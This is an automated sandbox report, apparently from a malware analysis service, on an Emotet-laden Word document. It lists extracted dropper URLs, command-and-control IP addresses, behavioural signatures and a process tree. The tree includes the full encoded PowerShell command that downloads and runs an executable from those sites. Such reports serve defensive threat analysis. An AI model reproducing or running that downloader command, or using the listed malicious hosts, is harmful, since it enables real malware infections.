Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    115s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    19/08/2020, 15:55

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_5a216285239e2f997444c5eb15fd484fcfbb8a3d23acfea4b5d587768ba66063_2020-08-19__155322._doc.doc
  • Size 200KB
  • Sample200819-q77129lgba
  • SHA256 5a216285239e2f997444c5eb15fd484fcfbb8a3d23acfea4b5d587768ba66063
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://ruskinc.com/7k2ql/zmIt/
  • exe.dropper

    http://agapewilderness.com/wordpress/cj5O/
  • exe.dropper

    https://jaycetelescope.com/wp-admin/rSX1k/
  • exe.dropper

    https://nypthealing.com/wp-includes/hsiA/
  • exe.dropper

    https://5aby.com/wp-includes/Mr/
  • exe.dropper

    https://comfy-n-cozy-deals.com/wp-admin/BXFFX/
  • exe.dropper

    http://getmodels.net/sys-cache/po/

Extracted

Family

  • emotet

C2

  • 64.183.73.122:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 222.214.218.37:4143

  • 104.236.246.93:8080

  • 110.145.77.103:80

  • 89.186.91.200:443

  • 74.120.55.163:80

  • 95.179.229.244:8080

  • 70.167.215.250:8080

  • 47.146.117.214:80

  • 209.141.54.221:8080

  • 24.43.99.75:80

  • 103.86.49.11:8080

  • 142.105.151.124:443

  • 62.138.26.28:8080

  • 24.179.13.119:80

  • 37.187.72.193:8080

  • 137.59.187.107:8080

  • 97.82.79.83:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5a216285239e2f997444c5eb15fd484fcfbb8a3d23acfea4b5d587768ba66063_2020-08-19__155322._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:608
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABTAG0ANABqAHEAZAB0AD0AKAAnAFkAYwBoAF8AeAAnACsAJwBnAG4AJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBuAHYAOgBUAGUAbQBQAFwATwBGAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAGAAVQByAEkAYABUAFkAUAByAE8AVABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAJwArACcAbABzADEAMQAsACAAJwArACcAdABsAHMAJwApADsAJABOADEAZQBnADYAZwBrACAAPQAgACgAJwBIACcAKwAnAGMAZgB5AGoANAA4ACcAKwAnAGQAJwApADsAJABJAGgAdAA4AHYANgB6AD0AKAAnAE8AJwArACcAMgBiAGkAYwAnACsAJwBwAHEAJwApADsAJABOAGYAdQBrADQAawBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBzADAANwBPAGYAZgBpACcAKwAnAGMAZQAnACsAJwAyADAAJwArACcAMQA5AHMAMAA3ACcAKQAgACAALQByAGUAUABsAEEAYwBlACAAKABbAEMASABhAFIAXQAxADEANQArAFsAQwBIAGEAUgBdADQAOAArAFsAQwBIAGEAUgBdADUANQApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAE4AMQBlAGcANgBnAGsAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAEEAbQAyAGMAZABhAG4APQAoACcATAA3ADMAYgB4ACcAKwAnADYAOAAnACkAOwAkAFMAdwAwAHkANAA1AGQAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBsAGkARQBOAHQAOwAkAEoAdQBfADEAagBiADMAPQAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwByACcAKwAnAHUAcwBrAGkAJwArACcAbgBjAC4AYwBvAG0ALwA3AGsAJwArACcAMgBxAGwALwB6ACcAKwAnAG0AJwArACcASQB0AC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvAGEAZwAnACsAJwBhACcAKwAnAHAAZQB3AGkAbABkAGUAJwArACcAcgAnACsAJwBuAGUAcwAnACsAJwBzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwB3AG8AcgBkACcAKwAnAHAAcgBlAHMAcwAnACsAJwAvACcAKwAnAGMAagA1AE8ALwAqAGgAdAB0AHAAcwA6AC8ALwBqACcAKwAnAGEAeQBjACcAKwAnAGUAJwArACcAdABlACcAKwAnAGwAZQBzACcAKwAnAGMAbwAnACsAJwBwACcAKwAnAGUALgBjAG8AbQAvAHcAcAAtAGEAZAAnACsAJwBtACcAKwAnAGkAbgAvAHIAUwBYADEAJwArACcAawAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAG4AeQBwACcAKwAnAHQAaABlAGEAbAAnACsAJwBpAG4AZwAuAGMAJwArACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AaQBuAGMAbAB1AGQAJwArACcAZQAnACsAJwBzAC8AaABzAGkAQQAvACoAaAB0AHQAJwArACcAcABzADoALwAnACsAJwAvADUAYQBiACcAKwAnAHkALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjAGwAdQBkAGUAcwAnACsAJwAvAE0AcgAnACsAJwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoAJwArACcALwAvAGMAbwBtACcAKwAnAGYAeQAtAG4ALQAnACsAJwBjAG8AegB5AC0AZABlAGEAbABzAC4AYwBvAG0ALwB3AHAAJwArACcALQAnACsAJwBhAGQAJwArACcAbQBpAG4ALwBCAFgARgBGACcAKwAnAFgALwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AZwBlAHQAJwArACcAbQBvAGQAZQBsAHMALgAnACsAJwBuACcAKwAnAGUAdAAvAHMAJwArACcAeQBzACcAKwAnAC0AYwBhACcAKwAnAGMAaABlAC8AcABvAC8AJwApAC4AIgBTAFAAYABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMANQBlADcAYQB4AG4APQAoACcATgAnACsAJwB1ACcAKwAnAGMAcABsAHIAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABXADIAegBxAG8AYQBsACAAaQBuACAAJABKAHUAXwAxAGoAYgAzACkAewB0AHIAeQB7ACQAUwB3ADAAeQA0ADUAZAAuACIAZABvAGAAVwBuAGAAbABPAGEARABmAGkAYABsAEUAIgAoACQAVwAyAHoAcQBvAGEAbAAsACAAJABOAGYAdQBrADQAawBkACkAOwAkAFMAYgBpAHIAZgBhAG0APQAoACcAVgBnAHIAJwArACcAMQBkAHgANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQATgBmAHUAawA0AGsAZAApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADMANAAwADUAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABOAGYAdQBrADQAawBkACkAOwAkAFAAdABqAGsAdQB3AG8APQAoACcATwB1ACcAKwAnAHUAMAA5AGIAOQAnACkAOwBiAHIAZQBhAGsAOwAkAEMAbQB2AHcAcQBrAHoAPQAoACcAVQBiACcAKwAnADYAZgAnACsAJwB5AGQANwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAdwAxADAAXwBuAGYAPQAoACcAVwBzAHcAcgA0ACcAKwAnAG8AOAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1040
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Hcfyj48d.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Hcfyj48d.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\SysWOW64\mfc40\dot3api.exe
        "C:\Windows\SysWOW64\mfc40\dot3api.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1580

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/608-11-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/608-17-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/608-2-0x0000000008AD0000-0x0000000008AD4000-memory.dmp
        Download

        memory/608-4-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/608-6-0x000000000AF90000-0x000000000AF94000-memory.dmp
        Download

        memory/608-7-0x000000000C010000-0x000000000C014000-memory.dmp
        Download

        memory/608-10-0x0000000006F40000-0x0000000007140000-memory.dmp
        Download

        memory/1040-18-0x000000001B420000-0x000000001B421000-memory.dmp
        Download

        memory/1040-16-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1040-15-0x00000000020C0000-0x00000000020C1000-memory.dmp
        Download

        memory/1040-19-0x000000001B780000-0x000000001B781000-memory.dmp
        Download

        memory/1040-14-0x000000001AA40000-0x000000001AA41000-memory.dmp
        Download

        memory/1040-13-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1040-12-0x000007FEF1D10000-0x000007FEF26FC000-memory.dmp
        Download

        memory/1580-26-0x0000000001B70000-0x0000000001B7C000-memory.dmp
        Download

        memory/1836-22-0x00000000003A0000-0x00000000003AC000-memory.dmp
        Download

        memory/1916-27-0x000007FEF2430000-0x000007FEF26AA000-memory.dmp
        Download